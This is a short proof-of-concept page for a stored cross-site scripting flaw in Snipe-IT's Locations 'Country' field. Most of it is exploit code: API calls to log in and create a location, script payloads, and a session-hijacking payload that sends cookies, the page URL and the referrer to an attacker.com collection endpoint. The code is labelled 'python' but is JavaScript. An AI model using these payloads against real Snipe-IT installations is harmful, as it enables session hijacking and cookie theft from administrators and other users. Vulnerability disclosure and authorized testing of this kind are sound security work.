Snipe-IT before 8.3.4 allows stored XSS via the Locations "Country" field, enabling a low-privileged authenticated user to inject JavaScript that executes in another user's session.
The following code is for security research and authorized testing only.
python
// CVE-2025-65622 PoC - Stored XSS in Snipe-IT Locations Country Field
// This PoC demonstrates how to inject malicious JavaScript via the Country field
// Step 1: Login to Snipe-IT with low-privileged account
const loginEndpoint = 'https://target-snipeit.com/api/v1/auth/login';
const loginData = {
email: '[email protected]',
password: 'userpassword'
};
// Step 2: Create or update a location with XSS payload in Country field
const createLocationEndpoint = 'https://target-snipeit.com/api/v1/locations';
const locationData = {
name: 'Test Location',
country: '<script>alert(String.fromCharCode(88,83,83))</script>',
// Alternative payloads:
// '<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>'
// '<svg onload=fetch("https://attacker.com/log?data="+btoa(document.cookie))>'
};
// Step 3: When admin or other users view the location, XSS executes
// The injected script will run in their browser context
// Example XSS payload for session hijacking:
const sessionHijackPayload = `
<script>
fetch('https://attacker.com/collect', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
referrer: document.referrer
})
});
</script>
`;